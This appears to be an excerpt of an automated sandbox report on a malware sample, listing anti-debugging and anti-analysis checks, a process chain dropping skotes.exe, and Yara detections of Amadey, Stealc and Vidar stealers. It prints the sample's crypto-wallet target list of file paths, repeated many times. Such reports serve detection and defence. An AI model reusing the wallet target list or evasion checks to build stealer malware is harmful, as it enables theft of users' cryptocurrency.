Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsDBGIJEHIID.exe

Code function: 21_2_05300C9B rdtsc

21_2_05300C9B

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C565FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C565FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C56C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C56C410

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00A8652B mov eax, dword ptr fs:[00000030h]		25_2_00A8652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00A8A302 mov eax, dword ptr fs:[00000030h]		25_2_00A8A302

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6C53B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C53B1F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C6EAC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 2000, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDBGIJEHIID.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsDBGIJEHIID.exe "C:\Users\user\DocumentsDBGIJEHIID.exe"
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C734760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6C734760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C611C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6C611C30

Source: file.exe, file.exe, 00000000.00000002.2592461143.00000000006E3000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: {Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C53B341 cpuid

0_2_6C53B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5035A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C5035A0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 25_2_00A565E0 LookupAccountNameA,

25_2_00A565E0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C638390 NSS_GetVersion,

0_2_6C638390

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 23.2.skotes.exe.a50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.skotes.exe.a50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.DocumentsDBGIJEHIID.exe.940000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.skotes.exe.a50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000003.2645701454.0000000005180000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2669426184.0000000000941000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2639653458.00000000052E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3310024554.0000000000A51000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2687977905.0000000000A51000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2680209843.0000000000A51000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.3236682529.0000000005220000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2582605099.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2593928893.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2077095798.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2592090534.0000000000311000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2000, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2000, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2593928893.0000000001027000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2592090534.0000000000477000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.2593928893.0000000001027000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2592090534.0000000000477000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Desktop (old)
Source: file.exe, 00000000.00000002.2593928893.0000000001027000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2593928893.0000000001027000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2592090534.0000000000477000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2592090534.0000000000477000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.2593928893.0000000001027000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2592090534.0000000000477000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: passphrase.json
Source: file.exe, 00000000.00000002.2592090534.0000000000477000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.2593928893.0000000001027000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2592090534.0000000000477000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus\exodus.wallet
Source: file.exe, 00000000.00000002.2593928893.0000000001027000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 16.113Users\user\AppData\Roaming\Binance\simple-storage.json
Source: file.exe, 00000000.00000002.2592090534.0000000000477000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000002.2593928893.0000000001027000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2592090534.0000000000477000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
